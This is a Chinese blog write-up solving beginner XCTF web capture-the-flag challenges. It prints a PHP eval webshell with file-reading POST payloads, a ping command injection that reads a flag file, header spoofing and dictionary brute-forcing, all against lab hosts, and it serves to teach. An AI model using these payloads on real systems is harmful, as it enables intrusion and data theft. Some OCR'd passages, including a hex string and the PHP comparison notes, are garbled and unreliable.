xctf社区题解1

原创

Spwpun ● 于 2019-03-30 22:10:09 发布 ● 2752 ☆ 收藏 4 分类专栏: writeup 版权声明:本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u>版权协议,转载请附上原文出处链接和本声明。 本文链接: <u>https://blog.csdn.net/lplp9822/article/details/88920146</u> 版权



writeup 专栏收录该内容

15 篇文章 1 订阅 订阅专栏

web-新手模式:

文章目录

web-新手模式:

view-source:

get_post:

robots:

backup:

github工具dirsearch的使用:

cookie:

disabled_button:

simple_js:

xff_referer:

weak_auth:

webshell:

command_execution:

simple_php:

view-source:

鼠标右键被网页禁用了吧, F12 查看即可:

••••▼<body> == \$0 ▶<script>...</script> <h1>FLAG is not here</h1> <!-- xctf{83797c329681080400eb0ed824ee0b8d} --> </body> </html>





提交之后,显示:

请再以POST方式随便提交一个名为b,值为2的变量



Post data

xctf{066f9e9e1ed408a82b5a0dc0b1737b0f}

robots:

访问robots.txt,发现f1ag_1s_h3re.php页面:

b=2



backup:

常见的备份文件后缀名有: .git .svn .swp .~ .bak .bash_history,访问提示如下:

你知道index.php的备份文件名吗?

依次猜测,得到 index.php.bak,访问提示下载,下载完打开:



github工具dirsearch的使用:

将代码仓库clone到本地,使用python3环境执行命令:



cookie:

▼ 响应头 (307 字节)					
	Connection: Keep-Alive				
	Content-Encoding: gzip				
	Content-Length: 276				
	Content-Type: text/html				
0	Date: Sat, 30 Mar 2019 09:58:37 GMT				
	Keep-Alive: timeout=5, max=100				
	Server: Apache/2.4.7 (Ubuntu)				
	Set-Cookie look-here=cookie.php				
	Vary: Accept-Encoding				
	X-Powered-By: PHP/5.5.9-1ubuntu4.26				
_ \±	(A) (AA1 今年)				

提示查看 cookie.php:



在 cookie.php 的响应头里面找到 flag,每一题在线生成的场景不同,得到的flag也不同。

disabled_button:

前端知识,button的属性设置了disable 值,所以不能点击,F12 查看并修改,点击即可得到flag:

<pre> <body> <h3>一个不能按的按钮</h3> <form action="" method="post"> <input class="btn btn-default" jisabled="" pame="auth" style="height:50px;width:200px;" type="submit" value="flag"/></form></body></pre>
<input auth"="" class="btn btn-default" disabled="" style="height:50px;wic
name="/>
<h3kxctf{505eb7404b9c6d385e4a39efe5fd34ed}< h3=""></h3kxctf{505eb7404b9c6d385e4a39efe5fd34ed}<>

simple_js:

js的基本用法,查看源码,整理如下:

alert(dechiffre(h));

String.fromCharCode 是将Unicode编码转为字符串,真正的pass是 String["fromCharCode"] 处的字符串,用python处理一下 转为字符串:

```
Dython 3.6.6 (v3.6.6:4cf1f54eb7, Jun 27 2018, 03:37:03) [MSC v.1900 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> print('\x35\x35\x32c\x35\x35\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x31\x34\x2c\x31\x31\x31\x34\x2c\x31\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x31\x34\x2c\x31\x31\x34\x2c\x31\x31\x31\x34\x2c\x31\x31\x31\x34\x2c\x31\x31\x31\x34\x2c\x31\x31\x31\x34\x2c\x31\x31\x31\x34\x2c\x31\x31\x31\x34\x2c\x31\x31\x31\x34\x2c\x31\x31\x31\x34\x2c\x31\x31\x31\x34\x2c\x31\x31\x31\x31\x34\x2c\x31\x31\x31\x31\x34\x2c\x31\x31\x31\x34\x2c\x31\x31\x31\x34\x2c\x31\x31\x31\x31\x34\x2c\x31\x31\x31\x31\x34\x2c\
```

最后提交的时候添加格式。

xff_referer:

伪造http请求头:

Host: 111.198.29.45:31931					
Pragma: no-cache					
Referer: https://www.google.com					
Upgrade-Insecure-Requests: 1					
User-Agent: Mozilla/5.0 (Windows NT 10.0;) Gecko/20100101 Firefox/65.0					
X-Forwarded-For: 123.123.123.123					

然后在响应里面找到flag:

'demo").innerHTML="xctf{c64c8994341576f620637995e43197da}";</script><,

weak_auth:

Burpsuite爆破,根据教学文档,找到GitHub上面大佬收集的常用密码字典:https://github.com/rootphantomer/Blasting_dictionary

-					
Raw	Headers	Hex	HTML	Render	
Content	-Type: t	ext/h	tml		
□ <html l<br=""><head> <me <ti< td=""><th>YPE html ang="en" ta chars tle≻weak</th><th>> '> et="U auth</th><th>TF-8"> <th>≥></th><td></td></th></ti<></me </head></html>	YPE html ang="en" ta chars tle≻weak	> '> et="U auth	TF-8"> <th>≥></th> <td></td>	≥>	
<body></body>					
ctf{11 	eb91b527	e7db9	610038:	L569ee48	68f}-'/maybe you need a dictionary>

webshell:

使用菜刀连接webshell:

回编辑SHELL	×
地址: http://111.198.29.45:31990/index.php 配置:	shell
备注:	编辑

直接可以看到网站目录下面有 flag.txt:

111, 198, 29, 45	目录(0),文件(2)	名称	时间	大小	属性
E 🌳 /		flag. txt	2019-03-30 12:39:12	38	0664
E C var		📓 index. php	2018-09-27 04:02:04	539	0664
🗁 html					

载入 🗈 /var/www/html/flag.txt xctf{a68a297ca1f1342526fda063f196509a}

或者直接在浏览器里面通过php函数来获取flag:

getcwd函数是获取当前目录,scandir是扫描当前目录下的文件夹并把结果存在一个数组中,print_r是打印出结果:

	你会使用webshell吗? Array ([0] => . [1] => [2] => flag.txt [3] => index.php) php<br @eval(\$_POST['shell']);*/					
□ 查看器	豆 控制台 〇 调试器 {} 样式編輯器 ⑥ 性能 心 内存 三 网络 8 存储 1 无数 得环境 ● HackBar					
Encryption 👻	Encoding - SQL - XSS - Other - Chrome BackBar					
lo <u>a</u> d URL ∦ S <u>p</u> lit URL	http://111.198.29.45:31990/					
• Execute	Execute Post data Referrer User Agent Cookies					
	shell=print_r(scandir(getcwd()));					

然后,再获取文件里面的内容,fopen为打开文件的函数,这里以可读的方式打开,然后fgets获取行内容,最后print_r打印出结果:

	你会使用webshell吗?					
	xctf{a68a297ca1f1342526fda063f196509a} php<br @eval(\$_POS11'shell'1):?>					
习 控制台 □□调试器 {}样式编辑器 ⑥ 性能 ۩ 内存 浮	- 网络 8 存储 1 无障碍环境 ● HackBar					
Encoding 👻 SQL 👻 XSS 👻 Other 👻 Chrome BackBar						
http://111.198.29.45:31990/						
🗹 Post data 🔲 Referrer 🔲 User Agent 📃 Cookies						
shell=print_r(fgets(fopen('flag.txt','r')));						

command_execution:

命令执行,命令行中 command1 | command2 表示只执行command2,经验所致了,flag文件放在home目录下,查看即可,之前校赛的时候也有一道类似,好像是禁用了cat命令,然后解决方法是使用tac反向输出命令:

PING	
请输入需要ping的地址	
PING	
ping -c 3 111.198.29.45 cat//hc xctf{87e0c8e5014d30023fcd5f5615e0ee1d}	ome/flag.txt

simple_php:

PHP的简单使用,十六进制绕过, %00 截断绕过is_numeric()函数的判断:

Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}



官方解答,这我是真不知道,没办法,太菜:

掌握php弱类型比较
php中有两种比较符号:
==: 先将字符串类型转化成相同,再比较
=: 先将字符串类型转化成相同,再比较
字符串和数字比较使用时,字符串会先转换为数字类型
再比较 php var_dump('a' == 0);//true,这里'a'会被转换数字
0 var_dump('123a' == 123);//true,这里'123a'会被转换为123